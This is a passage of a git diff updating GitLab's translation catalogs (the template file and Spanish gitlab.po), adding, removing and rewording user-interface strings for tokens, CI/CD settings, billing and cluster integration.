-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/es/gitlab.po b/locale/es/gitlab.po
index 7cc915a4592..4970ac0753a 100644
--- a/locale/es/gitlab.po
+++ b/locale/es/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: es-ES\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:35\n"
+"PO-Revision-Date: 2021-07-01 21:19\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr " %{start} hasta %{end}"
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] "%d incidencia importada correctamente con la etiqueta"
msgstr[1] "%d incidencias importadas correctamente con la etiqueta"
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d capa"
@@ -421,6 +416,24 @@ msgstr "Hilo de %{authorsName}"
msgid "%{board_target} not found"
msgstr "%{board_target} no encontrado"
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr "%{count} aprobaciones de %{name}"
msgid "%{count} files touched"
msgstr "%{count} archivos modificados"
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,12 +672,12 @@ msgstr "%{level_name} no está permitido en un grupo de %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} no está permitido debido a que el fork del proyecto origen tiene menor visibilidad."
+msgid "%{link_start}Learn more%{link_end} about roles."
+msgstr ""
+
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr "%{link_start}Más información%{link_end} sobre qué información se comparte con GitLab Inc."
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "%{link_start}Lea más%{link_end} acerca de los permisos de rol"
-
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr "%{size} %{unit}"
@@ -854,9 +875,6 @@ msgstr "%{start} hasta %{end}"
msgid "%{state} epics"
msgstr "%{state} épicas"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr "%{strongStart}Elimina%{strongEnd} la rama origen"
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr "%{total} incidencias abiertas"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "%{total} advertencias encontradas: mostrando la primera %{warningsDisplayed}"
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}Más información%{usage_ping_link_end} acerca de lo que se comparte en GitLab Inc."
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr "%{value} s"
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr "Un token seguro que identifica una petición de almacenamiento externo."
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,14 +1762,14 @@ msgstr "Token de correo entrante"
msgid "AccessTokens|It cannot be used to access any other data."
msgstr "No se puede utilizar para acceder a ningún otro dato."
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
-msgstr "Mantenga este token en secreto. Cualquiera puede obtener acceso a los objetos estáticos del repositorio como si fuese usted. Debería %{reset_link_start}restablecer este token%{reset_link_end} si esto alguna vez sucede."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Mantenga este token en secreto. Cualquiera que tenga acceso a él puede crear incidencias como si fuese usted. Debería %{link_reset_it} si eso sucede."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Mantenga este token en secreto. Cualquier persona que tenga acceso a él puede leer la actividad y las incidencias de los canales RSS o del calendario como si fuese usted. Debería %{link_reset_it} si eso sucede."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
msgid "AccessTokens|Personal Access Tokens"
msgstr "Tokens de acceso personal"
@@ -1783,17 +1786,17 @@ msgstr "También puede utilizar los tokens de acceso personal para autenticarse
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr "Puede generar un token de acceso personal para cada aplicación que utilice y que necesite acceso a la API de GitLab."
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
-msgstr "Su token de feed se utiliza para autenticarlo cuando su lector de RSS carga una fuente de RSS personalizada o cuando su calendario carga un calendario personalizado, y se incluye en las URL de los feeds."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
+msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
-msgstr "Su token de correo electrónico entrante se utiliza para autenticarlo cuando crea una nueva incidencia por correo electrónico y se incluye en sus direcciones de correo electrónico personales específicas para el proyecto."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
-msgstr "Su token se utiliza para autenticarle cuando los objetos estáticos del repositorio (por ejemplo: archivos, blobs, ...) se sirven desde un sistema de almacenamiento externo."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
+msgstr ""
-msgid "AccessTokens|reset it"
-msgstr "Reiniciarlo"
+msgid "AccessTokens|reset this token"
+msgstr ""
msgid "AccessibilityReport|Learn more"
msgstr ""
@@ -1912,6 +1915,9 @@ msgstr "Añadir un comentario a esta línea"
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "Añadir un comentario general a este %{noteableDisplayName}."
@@ -1921,6 +1927,9 @@ msgstr "Añadir un comentario general a este %{noteable_name}."
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "Añada una página de inicio a su wiki que contenga información sobre su proyecto y GitLab la mostrará aquí en lugar de este mensaje."
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr "Añadir una línea"
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "No se han especificado usuarios."
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "Habilitar ejecutores compartidos para los nuevos proyectos"
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr "Las variables de entorno están protegidas por defecto"
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,20 +2371,23 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr "Movido a integraciones"
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr "No se requiere un pipeline"
+msgid "AdminSettings|Protect CI/CD variables by default"
+msgstr ""
+
msgid "AdminSettings|Required pipeline configuration"
msgstr "Configuración del pipeline requerida"
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
-msgstr "Seleccione un archivo de configuración del pipeline"
-
-msgid "AdminSettings|Select a template"
-msgstr "Seleccione una plantilla"
+msgid "AdminSettings|Select a CI/CD template"
+msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr "La plantilla de servicio le permite configurar los valores predeterminados para las integraciones"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,12 +2407,9 @@ msgstr "Especifique un dominio para utilizar por defecto durante las etapas desp
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
-msgstr "Cuando crea una nueva variable de entorno, se protegerá por defecto."
-
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
msgstr ""
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr "Clave de autorización"
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr "Integraciones actuales"
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr "Todos los entornos"
msgid "All epics"
msgstr "Todas las tareas épicas"
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr "Todos los grupos y proyectos"
@@ -3387,9 +3417,6 @@ msgstr "Amazon EKS"
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr "La integración con Amazon EKS le permite provisionar clústeres EKS desde GitLab."
-msgid "Amazon Web Services"
-msgstr "Amazon Web Services"
-
msgid "Amazon Web Services Logo"
msgstr "Logo de Amazon Web Services"
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "Se produjo un error al activar/desactivar la suscripción de notificación"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "Se ha producido un error al actualizar el tamaño de la incidencia"
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr "Se ha producido un error al habilitar Service Desk."
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr "Se ha producido un error al obtener los archivos de - %{branchId}"
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "Se ha producido un error al obtener los proyectos"
@@ -3762,9 +3792,6 @@ msgstr "Se ha producido un error al actualizar el comentario"
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr "Aplicar a la etiqueta"
msgid "Apply a template"
msgstr "Aplicar una plantilla"
-msgid "Apply changes"
-msgstr "Aplicar cambios"
-
msgid "Apply suggestion"
msgstr "Aplicar sugerencia"
@@ -4133,15 +4157,9 @@ msgstr "Nombre"
msgid "ApprovalRule|Rule name"
msgstr "Nombre de la regla"
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr "Se requiere al menos la aprobación de un propietario del código para cambiar los archivos que coincidan con las reglas de CODEOWNER."
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr "Debe especificar por lo menos un group_id o un project_id"
@@ -4718,9 +4733,6 @@ msgstr "Auto DevOps"
msgid "Auto DevOps enabled"
msgstr "Auto DevOps habilitado"
-msgid "Auto DevOps, runners and job artifacts"
-msgstr "Auto DevOps, ejecutores y artefactos"
-
msgid "Auto stop successfully canceled."
msgstr "Parada automática cancelada con éxito."
@@ -5108,6 +5120,9 @@ msgstr "Actualizar"
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr "Expandir"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr "Examinar artefactos"
msgid "Browse files"
msgstr "Examinar archivos"
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr "Se ha producido un error mientras al recuperar los artefactos"
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,11 +5806,11 @@ msgstr "Estrategia de despliegue"
msgid "CICD|Jobs"
msgstr "Trabajos"
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
-msgstr "El pipeline de Auto DevOps se ejecutará si no se encuentra ningún archivo de configuración alternativo de CI."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgstr ""
msgid "CICD|group enabled"
msgstr "grupo habilitado"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL de callback"
@@ -5947,9 +5980,6 @@ msgstr "No se puede crear el informe de abuso. Este usuario ha sido bloqueado."
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr "Cambiar el hito"
msgid "Change path"
msgstr "Cambiar la ruta"
-msgid "Change permissions"
-msgstr "Modificar los permisos"
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr "Cambiar estado"
@@ -6340,6 +6370,9 @@ msgstr "Ckeckout|Se ha producido un error al cargar los países. Por favor, intÃ
msgid "Checkout|Failed to load states. Please try again."
msgstr "Ckeckout|Se ha producido un error al cargar los estados. Por favor, inténtalo de nuevo."
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr "Se ha producido un error al registrar la tarjeta de crédito. Por favor, inténtelo de nuevo."
@@ -6442,9 +6475,6 @@ msgstr "Seleccione un archivo"
msgid "Choose a group"
msgstr "Elija un grupo"
-msgid "Choose a role permission"
-msgstr "Seleccione un permiso de rol"
-
msgid "Choose a template"
msgstr "Elija una plantilla"
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "Seleccione el grupo de nivel superior para las importaciones de su repositorio."
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr "%{appList} se instaló correctamente en su clúster de Kubernetes"
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr "%{title} desinstalado correctamente."
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr "%{title} actualizado correctamente."
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr "Agregar una integración compartirá el cluster en todos sus proyectos."
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr "Toda la información que no haya sido guardada en GitLab se eliminará y no podrán restaurarse."
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr "Todos los datos serán eliminados y no se podrán restaurar."
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr "Se cancelará cualquier pipeline que se encuentre en ejecución."
-
msgid "ClusterIntegration|Apply for credit"
msgstr "Solicitar crédito"
@@ -7030,15 +7033,6 @@ msgstr "Dominio base"
msgid "ClusterIntegration|CA Certificate"
msgstr "Certificado CA"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr "Administrador de certificados"
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "paquete de certificado de autoridad (formato PEM)"
